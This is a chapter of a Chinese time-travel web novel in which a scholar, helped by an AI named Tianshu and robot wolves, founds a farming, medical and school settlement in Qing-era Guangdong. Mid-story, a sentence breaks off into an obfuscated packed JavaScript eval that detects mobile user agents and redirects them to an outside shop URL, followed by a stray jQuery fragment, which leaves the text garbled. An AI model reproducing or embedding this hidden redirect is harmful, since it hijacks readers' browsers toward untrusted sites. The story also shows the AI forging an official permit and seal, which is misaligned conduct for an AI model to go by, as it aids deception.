《天师南洋》第一章落南洋
一
林晚棠是被一道白光推过来的。
没有什么仪式感，没有漩涡，没有隧道。上一秒她还在北京大学的古籍阅览室里翻《海国图志》，下一秒她就趴在了一片潮湿的沙滩上，嘴里是咸腥的海水味，耳朵里是嗡嗡的耳鸣。她的第一反应不是恐慌，而是愤怒——谁把我的书拿走了？
然后她看到了手机。
一部陌生的手机，躺在沙子上，屏幕亮着，上面只有一行字：
「欢迎，林晚棠博士。你的任务期限为三十年。以下是你的物资清单及使用说明。祝你好运。」
没有落款，没有解释。和传说中那两位穿越者的界面一模一样。林晚棠在学术会议上听过她们的“野史”——林知夏，陈曦。她当时嗤之以鼻，觉得是民间编造的。现在她信了。
她抓起手机，开始往下翻。
物资清单，一百吨。核电池AI计算机、机器狼、自动步枪、机枪、核弹、种子、药品、机床、印刷机……和前人几乎一样的配置。但清单最后还有一行小字：
「同步投放：英国皇家学会（伦敦），法国波拿巴（开罗）。投放内容：精选非武器知识精华（天文、医学、农学、工程、化学），每套含手稿、平板电脑、电台。投放方式：空投箱，标识清晰。」
林晚棠愣了一下。这不是她设定的。这是系统——或者说是安排这一切的那个“谁”——在帮她铺路。
“天枢，这个‘同步投放’是什么意思？”
「根据数据记录，在你穿越的同时，两个相同的空投箱被分别投放至伦敦格林威治和开罗拿破仑指挥部。箱内包含你物资中部分非武器知识的副本，以及联系你的方式。」
林晚棠深吸一口气。这不是她一个人的游戏了。她的一举一动，将同时影响东方和西方。但她没有时间多想——物资即将到达，她需要先活下来。
二
GPS显示她的位置是北纬二十三度，东经一百一十三度——广州以北约一百公里，珠江支流北江沿岸的一片丘陵地带。山不高，水不深，植被茂密，人烟稀少。距离最近的集镇大约二十里，步行两个时辰。
“天枢，确认物资投送位置。”
「已确认。物资将于二十八分钟后到达。建议寻找掩体。」
林晚棠选了一处山坳，三面环山，一面临溪，易守难攻。她蹲在灌木丛中，等待那场无声的“雨”。
三十分钟后，一百吨物资从天而降。巨大的降落伞在晨光中缓缓飘落，集装箱整齐地排列在山坳中。林晚棠没有时间感慨，她立刻启动紧急部署程序：能源、防御、通讯、生活设施，按部就班。
太阳落山时，基地初具雏形。
越野房车展开，太阳能板阵列铺满了南坡，天枢的五台核电池计算机嗡嗡启动。一百只机器狼被激活，在山坳周围建立起第一道警戒线。防弓箭板在暮色中泛着冷光，传感器窗口的红外光像一串幽蓝的萤火虫。
林晚棠坐在房车顶层的平台上，手里端着天枢冲泡的咖啡，开始思考下一步。
“天枢，英国人和拿破仑那边，不用管。他们自然会来联系。我们先做自己的事。”
「明白。下一步建议：接触当地华人，建立初步的农业和医疗据点。用种子和药品换取信任，用黄金购买土地。”
林晚棠点了点头。“明天就下山。”
三
穿越后的第三天，林晚棠第一次下山。
她换了一身天枢缝制的当地妇女服装，带了两只机器狼和一袋碎金，沿着溪流向下游走去。机器狼没有伪装——银白色的金属外壳、幽蓝的传感器窗口、沉稳的机械步伐，在阳光下极为醒目。但林晚棠不打算藏它们，也藏不住。她需要它们护卫，也需要它们震慑可能遇到的歹人。
走了大约两个时辰，她看到了一片稻田，然后是几间茅屋，最后是一个集镇。
镇子不大，百来户人家，多是客家人。街上有一间杂货铺、一间铁匠铺、一间药铺，还有一间用竹棚搭成的私塾。林晚棠在一间茶寮坐下来，要了一壶茶，听着周围人的谈话。两只机器狼安静地卧在她脚边，引来无数好奇和恐惧的目光，但没有人敢靠近。
他们在说官话，带客家口音。林晚棠在天枢的帮助下，几天内已经学会了基础客家话，能听懂七八成。他们谈的无非是收成、赋税、匪患、南洋的亲戚。
“听说婆罗洲那边，金子多，好赚。”
“好赚？去了就没命回来。土著砍头，荷兰人抽税。”
林晚棠不动声色地喝完了茶，起身离开。她没有急着亮明身份，而是先观察了几天。
第四天，她找到了当地最有威望的人——一个姓罗的老者，是镇上金矿的工头。她用客家话自我介绍，说自己是来自广州的寡妇，带着家仆到南洋谋生，想在附近买地种田。她指了指身后的两只机器狼：“这是南洋异兽，通人性，能护院。”
罗老头盯着机器狼看了很久，又看了看她带来的碎金，点了点头。“后生女，你一个人，不怕吗？”
林晚棠笑了笑。“怕，但不能因为怕就不活了。”
她用金子买下了山坳周边的五百亩荒地，又雇了几十个华工帮忙开荒、建屋、修路。华工们看到她带来的农具（高碳钢镰刀、锄头）和种子（高产稻种），眼睛都亮了。至于那两只机器狼，工人们起初畏惧，后来发现它们从不伤人，只是安静地巡逻，便渐渐习惯了，甚至给它们取了外号——“铁狗”。
“林娘子，你这铁狗，比真狗还灵！”阿福摸着一只机器狼的背脊，惊叹道。金属外壳冰凉光滑，但他已经不怕了。
林晚棠把农具分给他们用，并教他们使用新式犁和轮作制。她不用亲自下地——阿福带着华工学得很快。她只需要在旁边指导几句，剩下的交给天枢的教程。
四
穿越后的第十天，天师谷——林晚棠给山坳基地起的名字——已经小有名气。
高产稻种长得飞快，一个月就抽穗了。华工们奔走相告：“林娘子的稻种，神了！”
林晚棠趁热打铁，在镇上开了一间医馆。她不需要亲自坐诊——天枢培训了几个聪明的年轻人，教他们用现代药品治疗疟疾、痢疾、外伤。她只需要定时检查药品库存和处理疑难杂症。
医馆开张第一天，就来了十几个病人。一个得了恶性疟疾的矿工，被抬进来时已经昏迷。天枢指导学徒给他注射了奎宁，两个时辰后，他睁开了眼睛。
消息传开，天师谷的名声像野火一样蔓延。
第五天，她又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510243|202965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在镇上建了一间学堂。但她不亲自教书——天枢编印了《南洋启蒙》教材，配了插图，由第一批识字快的学徒担任教师。孩子们学识字、算术、自然常识，大人们学农技、医疗基础、记账。
罗老头有一次感慨：“林先生，你一个人，怎么什么都会？”
林晚棠指了指山坳方向。“不是我一个人。是那些机器。”
罗老头似懂非懂，但他不再问了。
五
穿越后的第二十天，一个不速之客来到了天师谷。
不是英国人，不是法国人，而是一个穿着破烂官服的中年人。他自称是广州府的巡检，姓周，奉命巡查沿海，听说附近有“妖人聚众，私建城池”，特来查看。
林晚棠在谷口接见了他。她的身后是两只机器狼，银白色的金属外壳在阳光下泛着冷光，幽蓝的传感器窗口缓缓扫视。周巡检盯着它们，脸色发白，但强作镇定。
“这……这是什么怪物？”
“南洋异兽，驯服的，不伤人。”林晚棠语气平淡，“大人请进。”
周巡检犹豫了一下，还是跟着她走进了谷地。他看到的是整齐的田垄、忙碌的农人、运转的工坊，以及远处那辆巨大的房车。他的眼神从恐惧变成了贪婪——这些东西，值钱。
“你就是那个林娘子？”他上下打量着林晚棠，目光不善。
“正是。”
“你在这里建屋、开荒、收人，可有官府批文？”
林晚棠从怀中取出一张纸——那是她用天枢打印的、伪造的广州府批文，印章也是天枢合成的。纸张和印章都很逼真，但周巡检未必识字。
他果然没仔细看，只是扫了一眼，便收了起来。“批文没问题。但你要记住，这里是天朝的地盘，不许和洋人勾搭。听到没有？”
林晚棠低头。“民妇明白。”
周巡检走了，走时还回头看了一眼那些机器狼，眼中满是忌惮。林晚棠回到房车里，对天枢说：“清廷迟早会发现我们。要加快速度了。”
「明白。英国和法国的团队将在未来几个月内陆续到达。届时，清廷的压力会更大。建议：在西方团队到达前，先巩固本地基础，同时寻找更隐蔽的备选基地。”
林晚棠点了点头。
六
穿越后的第三十天，天师谷的人口突破了一千人。
山坳周围已经建起了几十间木屋和竹棚，形成了一个小小的聚落。水田扩大到一千亩，稻浪翻滚。医馆每天接诊几十个病人，学堂里有一百多个孩子读书。工坊里，赵明（从华工中选拔的技术苗子）带着几个学徒，正在学习操作机床和3D打印机。
林晚棠站在山丘上，看着这一切。
“天枢，英国人什么时候到？”
「班克斯派出的团队已在途中，预计两个月后抵达。据最新消息，他召集了一支由博物学家、医生、农艺师、工程师组成的专家团，共十二人。拿破仑派出的德布雷船长也将带来几位学者和工匠。”
“这么多人……”林晚棠有些头疼。“住的地方够吗？”
「需要扩建。建议在基地东侧新建一排木屋，作为西方团队的住所和实验室。」
林晚棠叹了口气。“那就建吧。”
她走下平台，去找阿福安排工程了。